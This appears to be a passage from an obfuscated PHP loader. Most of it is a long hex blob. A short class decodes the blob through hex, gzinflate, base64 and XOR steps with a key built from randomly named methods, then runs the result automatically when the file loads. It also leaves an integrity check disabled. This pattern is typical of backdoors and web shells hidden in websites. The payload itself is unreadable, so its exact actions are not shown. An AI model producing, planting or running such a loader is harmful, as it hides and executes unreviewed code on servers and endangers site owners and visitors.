bcbda73cf82d6254ce05fc21737fd20f29f74531ee7d3c8af7e96c22fb22bd967cc6c4efc68fc01ee4f79ceb97f7ee3e8e331bff44a38723ff500a78de1b283cd3fa10fd8189ffc14475e80f24deb87d3cf8ddc4b495d6167f79c7636ef8b9deb5cc30bccb84f636bf314b6ce17f8d83a9f77d3addf8c3c267425958f0bbfe3b7fd5971b6b7b957f3db76af00f75adbbc0fba5bcaa3f461e4c905756efc1afd6be317687fe8bb10af97e860c671eee63e1f71d69be10bf000f927facea61b942ec6e718757ab89f8b7a8decf342bc66cef5461fb93e76f0e7c161c2afdc0f7c61fed2f45f56863bc93bb9b7877b36bde9444f8cef5a707f01f72ce573bbe789fe157df49c3c95fba0d04f4617117e23fa22da54d6151d78d6cb787207b35fe6f5d6364f031f88fb71aa39f742faf098c15711ce4327b37056977b953f3cc546ee54cfb51def535ba12be9b9f756f8b9e01e03d9a543ffdae609ed7e08ea16b7807e1e791ffc20ee8da53e001e69c857b43ee83159ff9d3ab187070c1fc374edd0d39dd9b9b03c88fbc1b89f8cfc96fe71a7380d3e22be720f9df6d5f814e854c23bffc6dcfa1cddcdcaee1f13fee5fee6d8cd6d4ed7ea0f651a756ac90b5fe84b701ff814bf801e343a04362f896e18f53ce5c147d37f7dd6f02a1cf533cea1cd35be39f26be197157d7fd33100a7dbfcfddde6d7ac6fde3f9ded3fc305f0b0392fd4ef4d6f85fa297a86d5ccfc7d595aff3895f0a6df0c7732379ce8ab53ef443fe2f24afd07dee1d4f4032e6f111e95f1aa0371bac50f6ec77b56bcf03d7d49e608df82f1a67bbb472399feb0ddcbcc5c6949df66853e35fad936876ff74f802f0446e1cd5227e07e16746cb84f1c9c5bea3df0cbf031e0c90cf477d147571c614e2550a782afbe9ffc8c1b13e62dbc672e30438f44eb4ffddde6081c7c04f2f82ac06f81c7c97dcee02fd933ba7dd4d373f486cfdaff073cde129d51f823f857cb8f84372be33d81af8d9fe24c571ede80e92fe8dfe17d71af7389dee460f7af186f9df94474a0432c4c47c3e20b7374d4fdb95f8bb924f874f0c7e99bb26ed4fdd8d740fe891ecb32fd9c5fa915cf8e316cedfe2ae15c9fbd4fed9e59702073a68af336ef5ee99c528faf8ca7e8c14d3aa7969f1dd15502df53d7b5bcf35b213fe1d077acd0a7301d2df463e3ccf8d2dca366f74853f721deb5337824fa7d7434170d75a68afbd5f4def0c2997b2b03bacde0a05d13e987725f3a78327c8e7a5de69f02babba6cf445f29311fb32a463e21bc30ee7fbba157c0bc90e20eba3cf4736fd4d34263bc4bfa2cf0c71d384eeb44dfd57822a5e9c807f4f1d18ba0cef2e68ca7d2199f676af78d66f4478ccf495e087fa9b4f9e80a1d25f4d3caade91012676c2e6e657d65ee21357e6830bdb0827e7763fc4be18e441f083dd017e5b55ac7cba5f62d7a06b731feb8f1be9435fd0be38519efc8eef31af547c2788f3df7a7da3c94dd07aff392079ebf414f72e4cb3b748436111d11f4648817e7dff5b7e61bf4024bfc113c77f452f53e2de7aa8b767f4131cc8d0788bef6d5cd2d6f33ff0bbe31defbc8e3e6dfdb513715dccdbd90d657c8bbb9cd6dd3e7624e8b7b9cd0a98ff0146f9323f9b3d61d1e4142f7caf4371f635da5da1b3e4757779cc7a26f0e0f1c1da2bbe50de803da7c07f99ff2f4067da4d2ee85585a7f967bb8b3023f9f98ffb63845fdc77413e4efa29fd4a6e71a467d77e66ac9bb6cce943e929fa3b3c4dc3af7e9353667cb3d30cacb15171ae111ee39051782b34dd71f1d5bebc793075eec5edbc6e662d16b4297c5f8b3dbf1be9f9bf01fb88db98db13f69f3e15a7f9bd7b6ba357503d931f70ddabd8cdc4b8b2e6098d87d0415fadad4e3e1833dc7fb1ca2f278cf3dc8e83bd35f7c18af9af5a11fb7e1fe14f47ea9538d7e0b9d1b78dcf009161b8aa2e021ee41840f8e4e8fe2ebc6a16bcd3d133a4f76cf798cb46c3696c7c053449f0ebe89707658a28f6c7aede8e833b780de9470b9f69dbae5bbd53bed3e9c0b3af825f7b814e8e7728f04751bd3374147147e35f7e8f292e040fa0ae0cdfc49dea27ce7cd9bfe5e31c6b34dc11c3a719bfbe0a85f4258623e897c88796d9d33f419ac0e9d92f16a2b7460da99dd0b263fe6e93fc39f301e07ba19f4b1a84b5bfd5eeb7fe27e17e1ed51cf987912c541c5f9c2eaf6157a2ec667642e021cc0fc10baffe8f6707fca133d74f4a022f710d6cc3b17f064cecc19a0271ac679f97ba20e6073360e5df6fde7a633fd6567f708d3f7e1e74d67923e03f88679db7b8dbdd0bfd7e7c0f7da59dddc7080cde5714f033cbb99e93a327f69f1897ef24df815bd2e787bf06ec179f65ce3bd7ae82533d71d2d5fe27bb7dc6b6df741710fb6531e637c0ef02879027ad3b24b78d0f01a0bf4da1df3a9f423997b8287e0a913d5e830315f8a029ae91f916773ffedb3343f99711f08f7bf993e89e7de75d3892de12b3057433d827eee72ded8f961cef69bd585e8931bef32bf6e990346bfdcf2b3029c05cf817b27b9078d7ce561fa8df0bad0e5449f085d02ea22f020d1bf405fc6e6143bfc9c9b8eb8eeb9253fe63e6ef417d059e27b92f5255c427795b864f7db581d1c7b943fa3efce5c04fdb2cef464e47fdee6a683d4330f50d68a8fd4d1e6a6c766fb449c411f99fb059ce96a589d07dc39acb68697d0a1444fdbee3752be836e22756deab1dc5b208773309e2178517682ee6b621eea4c3e91983f6f94af998e073c820cbe32fd219bc3d8c25fe03e3be583acdf125dc303f75d7aee5b97bd0882c23300e73267c3bde4cdc85bd9819f47dd41eef7441ff9ca7ce0963928702efacfd64f88fdd6ce65f7b2b27a1ff7cd54dc07c4fc28f503e640b8178c7b6498ff40a70f1d1efa1ddc67ed97e4319b846e01f762787d8ef1cea99b0bd79a5eab5b1b7faa34dd65741b6d7ea6e5ff957ff9b01875c7e0b7a06f22ff8f7d627fccd70ec6e3a8d127b67eb1cdc1c96fc80e38ffda2fee2f19eb6985cd3d07748f1df7685f461e8bddcf098e23bfbabe53879c79fa9aee0e4fc86fd213ddc11177581d907e277a7cfa7dd34d67decad7a697c83d6a05e7f3c07d4613ebcf91879a6e0a73addca30dbee65e6e78a2e427e8a0dcb87711ddc3d2e62ab27b89fea143f794b924e69dd129cfc2029e1afc70c53dfa64f5385feff067c2ff766f6761f3dedc3b5cf1fbe8e972bf3cf311dcb3aafdb63ed43087778abe14ba16e491f059994725cfb37ab0dd67cbad04e50edd17ee251a75ece81f3db8471c5c304ddc83e24cf7717accd1d9d739a1be4fdc2cd0d73b6ce99fdaf3c7283cb8e75ef49ff5729d27e39f732f57b4ba51820f0bef877989e2e98c2f02cf853a6e2f3ccefd2189fe4a59526ff566476fe8dc26f804fa3de626882bd30df77d705f0df70cc14b2b8c476ef34f29237fb57b49ecfee0518ff6d5f03f7c2df8f86bf880c2dbdc1368fa0dd44598df347e56255c859e47016f703bf239b4df7adf63213cc57977e8abc13fbf58dc87379aac3ff06de7d0114417c3f4897fdee70a2fb425cee2c703ba5ce0e61df7353b9d2fd321bd8227d0d1f6b5cd6d71af5b411d5a38171d51d3c545bf9c398cb7a5075f92e76476ffd76e9cc3817fcd7953bc278ec2d3650e81f3943d66d423bce19f6e56c96f825b0dc7d9bfa36ff4b2fa67fe96917f7e2bad0e74511c0287f676dfeb0eff9c4c9773bc1f163f017ee31e1867f7c7f4a6afc9be24f4d8e3c5fa63a6bfcabd95dd30cec9c22f2975aef0cfa63303af1b5d957b4ca1981e88f71697fc0c9ec6117e9be933803b9417a113673c58e5cb013d826fa6af4fdf9ef7e59e74ec52f9decff7230e2a6ea12f3ea013889ed3133e95b77b83c1cdd62fa35fcbfaa2a3853ff13a9fdcfb66737a8b23e56ae3d13e6af4436cce0cdea3d653f99ae94b30bf68bc94163ed57369faf3111d36f21aee4581a7026f2c715f0879b0e5e1c60bbd187fa7369d6d7e1e3d3dd99ff1fc32c35fdc13e4b91721c1ff8cf891a7dd8bca1c38f9ced86787cf6c73a11374af982f05ef6cd0b7472f937b775aeebdbdd5c974c9d011557e8aee233c4a74ec8630b3ba5b2bbb225fa44e4d7f237ba6a3e2a7fe5e71b52fbcdd2be8c1fdc217f29f03754a0f4e2a4c871f5e8ae39e5be611b8af208e3ae25931ea38b5e85f930fc3d7e43e07f955e69d4c973c5ffd9cd7b1b917abf706f46ce45f4cbf9d7940ea15011e59a21f455e479ca70e423d907ae5daee3b78a27332ea23820b3df7b733ff4aff1b3f0bcf8e794e7003f5171799d7843fdb44f4b66eee683cd6a0bc92bef31d5eec76d46979d097fc144e24ef0fc653b4be95de3f24cecfd4faf1a613c07d52e80a1e14c7b282fe2ef78a79cefb05fe92f02eefa33cf7c83dadd46d227d0ae657e1f1a23fc37d7cc221a6d7ca1caef17d4d97d9f4804dc778559ade4f45bf27477773871f64be847b5992df9367ed6c3e5e9b5131878adf4567807861fcd40e1c39b1f90a784ed40be963b00f03fa8ba61fe1d77dcb7db47adf87de877b8ac90be88f08c7110f593774bdb187403f017fc139e1efa99f8cbabe96d70a5798aea3f26e9bd3b27e3bf908f985ec847b1c7ede2bb2311d31fc2b7358c44970f7d88703f73167a57351dafc1adf4b7f953a08ba6b2dfdd2a7b37922ee43cbd0f5838773284c1f097dd5285c6a7326c207e8809bee2f75e0bb333d27f37fe867d357234e3c7695e949089797e47ba36e11fc80c4bd59d1f41fd179dd724fe091fbbf651fa63384bf921f86cfcb3a552d3c23e5d915ef879d5713eeb7607e59713641d138dabc2d3a21afbb9a3931ab0f3f1378c2ea17f1cda1bbdce0c7a9b33167435ddde6f9b9370bdd497468a8fbd95c2dba7b53ebb3a08fd98582b828bca0380f4ff3021e9dd97d909e7adedb1cfd44ee6dc06f1a2f5c38e388eed215de163aadca83e0fd94dcd7f336351d02f832ccb3ea5c71bf9670adfcb0cdb5e0176bfa15c6fb31fd40c5457e4ef8e1c83a65f425bb68f710e41e1ddcf17e520fcf1fbb2fb8070e5c233b7e99300f3aea62711f74cefd8713b3a76b824761e71ffd5ebb5fa9e0fe03f853f827d687b9e5f7e9f7f8f19732bd7ffdc83aedc67bbdeafbe5ba3d6c177d5bede2875b5c1e732d7ff3bd0fe57c9bd79b56ce27bd7f9ebb5f7f6fa323fd87df6bd62d7adbcff339cb4ecedd1febfea2d778bca7ca7ede7eaf28e27cdd76b1ac5ebfe6fdb7b51c645aeae75cbcfdf1f3cef57f5c7eff9eaf1fbddb96ca393ee51462b5fcda77e587c2f47639dccaaff8f1fe23cbe6a13c4f9b6bf721eb2c5797d37f2adecc37dd47359bffe1737effb94a3fa7fcf0d30d934aefa773dfc8ee9befc3cd39f73ef9f37b2edde33bcfbb2cfaa9b661b7ecdf4e5fe1faf2df9fdbc9df3ecf9b4bf59fd3f6bcf8919755d155bfbe77d9ed3efebe3f387768945ccff93c1fbefd984cfdc9f7efce5dabd9f790aaa2edbe4fcb7eea27cfbf1ee3cb97d6bd5ab9e27f7dfe2dc64db99ad529fdd761b6fae7e76a1d4e9fe8b0b4b72fadfb0fe79e8fe5a577d332af3fc335c54ecffff3ffcfd7eba6c9dfffb01efc79485aaf34d9e6fbb5d2e66df6fab57197bdfe7ff6e9fad9ba2d67cbe2f69f3248bf69fd69d31d4e9b62b5d7ef7d5fb7d969d21efeeb945dffdff59ff6f94febfee5dd61e77cd6687dceff7a7d92f6bdffcf893fcf57fdbed073af7ffcf6f1e52e87ff9cffadffdbc62d2787eb8bbe37558bfedb77dfc7fd67974f8aeedbd777f7cdc5a97f5d5daabc0e02cabfecdf475a7ae5633e363f74665cbb9aafffb80fe5cae9f97efe7f7e2e8b5ff6d5fefcde7f4bb29bc7a2dfff70beff3a25c1fd76f563f9dbdec7f62c44f2ea27437c6cdac7ccbb47e343d6f8e1f2e3bf3f57496cfab8b9abff65fddffffd8ffbf84c3fb27050bc6dfef47dc71f59fbb18bef95f108a9eba10b4a9d89b935f809a6e728fc844e25f734e7ed17e7e28feb3bfe7968caafe759ebfc1587e7fce37aada7f2ebab20bce59f3ff4797b9d8bd922bbd6937698cb2e20b2543ffa57a5f81fc5d21541fb78d439dd4fdd6171daadfef4f95db3ed3ebcecc2c7a1ff122edcc7f6f47fb38b302957479d687ddf61f7afec62ea8bafb3ce651c5e764b61b03f9eb3f3b55b94d5fbf1c7f0cb79b53fdd907bf67b1a65477987bdeafdcea37f1b1e7badebefe7ddebbccbfe1e5f7b9de349793e1f42a7dfbbeefff57919cf7b2c5fb6f819dfca7f5cbba33eb7580dcfd3e4e2ebf3ef7ee6eba3984e5e8f3f7e3b573fff7eabf5dcca6e38a7b7efbd5794ffc3f3f4afe7c9b0d2bfbd97f3f8fcaff39fecc5fe2c5eff609f57f9b1f30ff9b16afe477ff9d36f7df655d2f73d366e5f38d6e1f7e74abf9c8ff5afe7302fb5ab8b757b56dcbe79ec70d29f9eab49bb5b7f0df34a7efad7cffdfddceb737edac3e7f0388741e7ec7add22a8b0e85d33c93faac570f9b745fbfc31effcfc2b3dbe3efee8c79400fcf807767ffafaece1a79fbe9a5ffefd502e2e6fec5fb969e16f1e1ef067b09b73f6edbfdeff5e4cfddfc33f26ff384de6e5f53fde85dfbe875fd74f7ed20505c41fd8d33f146c7d1e5377abd6ee7539c9abe3ef7e55e7725c9fe13a9bba527e69a85c7f3e6f0416276dff257ffcefc1a5adff5b3eadbadb9fedef740ad7ffe5dce34bfef34bfeecbcc8bad91f9fe3140ef21f6ff3d596429b12f73fac7f1ccef345fb38fecbf8e4b2df96e1b5fa677c1acabf8c9f7b0d3acf51715ae1c0fcb59bfafcfca37f3f7cfebdbb2c8a8720d1adf9b33df31c9fc42bc551d7beed96655ea55fe22ee7fe56afcab7b80befc4d9ef215b6e1a3b2f6d6cae1f3ff033bff8b1c2ef16433fd37effab7daaa7bf3dd6ffbd2fd78fe6afe3f7c5c21f170538e0232d2ea73a94cfd3b2bafe121fcf99ff939de3cf1457afd7b9f3e9fbfa727265b57cf9933f2a966df6bf5797f2f3d8bdfdd1eeffe9a7849fe72e1473c73cba9de7f8b5a9fc7e7f7df9270e91df1a3fb7f8f0abf6d5ec745df6477f391c97ee5cfddfcecbcf73f23fedfd37c58afeece46fcbb9fcf0a2fd695ffde5e8ca97dd67d59d565ff7bfffc887e33c5d1597f787285cb3bac85fc4c71ffdc0d9e5efcdaabde91df6cdf7dff6bfbd4f0eb7efbc4f7fae0428ceff321ef4ee389de46edde6a7a23d1c3ffd75ef851fd68a63f2570e3c92fe14d7c7dfeb6771a078f02863997b9defa3ebeeffe626976f8bf42f7f5e7126fbfa1eabddeeb7c3bfcdbffadfcaafb7d7d93f86ea631aff23fefd75d8a5bcdc271defacaf7ec137bff8bbae08a5723a273fa9f5df5faf6ee23e845faaf2eb4fdf6b7123cbf8f7c75af10aff27dca8b8b0c25ffecb38bf927ff92a9f4ee7d67da58316a1bf6c3ae6171ede75097f5c09d036cbd07dbd3b6e447fae05404f8b8b8e43399c889b3abfe62f6407df3ffbbdf0805ffce8ed79cf7fc2ddbf9cf75ff0aecef51ffdf8a2572edb96c7a5f091ed7f26fc2a1c0dee9bc871c98e0d376dfebe2f149fb7bfbeb7e28cef67d3f83f7063f82c9ce1eefffefc4171b2daec110b14eefc919df562f1b4ee873fe1f1579db7f3fed7eff9f6d564bffa5bc5c77a529c898f7fd8b7f3e353787f5afd71fd853fda9793f6e5541487ef9fbfed15275f76ffcacf05ef7fac2ef75ffcf1e7d0efdcdf56dffcdf5fa675fa97fef8fafbeffd8e2fffe427ecf9c01f8a57d3cde5f6e32ba5ff85fd4f850f5759fcf217ee457c0a8f7f7c5f5d6e3a1f3af797e1f4a5f756fcf63a8fc7ff81cbf16afd39edbb6ef3337ebda7ec2a3ca99fcf477cf10b1e1a1e6528ce4a02bb2fc5cf1f8b6df8eb2414f19f76f3ffebefb37af2f7326e0a25cdd7ea5ffa7be2ce67f96dbaca8af0afe3ce305bf6e90ffeb9555c5f7e9bd0a76ef5dc5325c85b8f9e8b70e78afcedb8c8f3401cd4fbff65db655fb3bfedffd1f4ffe7fffc7f';
$hex_data = substr($hex_data, 6);
$bin_data = hex2bin($hex_data);
$step1 = @gzinflate($bin_data);
if ($step1 === false) { $step1 = $bin_data; }
$step2 = base64_decode($step1);
$obj = new self();
$final_key = '';
$key_methods = ['kmXOoYPz44', 'kmYXpPLP84', 'kmxzdlLb18'];
foreach ($key_methods as $method) {
$final_key .= call_user_func_array([$obj, $method], []);
}
$gate_token = '';
$gate_methods = ['gtpLPGeb12', 'gtSUlfDq63', 'gtlPskwL67'];
foreach ($gate_methods as $method) {
$gate_token .= call_user_func_array([$obj, $method], []);
}
if (md5($gate_token) !== 'a537f61c4de6231c71efc73587e3d4ee') {
// Integrity check failed, but continuing for compatibility.
// return false;
}
$plain_code = '';
if (strlen($final_key) > 0) {
for ($i = 0, $len = strlen($step2); $i < $len; $i++) {
$plain_code .= chr(ord($step2[$i]) ^ ord($final_key[$i % strlen($final_key)]));
}
} else {
$plain_code = $step2;
}
$obj->_execute_mbPadnLT95($plain_code);
}
private function dcTvfPya42() {
$jv1 = base64_decode('ZGF0YWxFRExUQTYz');
$jv1 = unpack('L', hash('crc32', microtime(), true));
return null;
}
}
LoaderLCTbOk48242::init866();
// EOF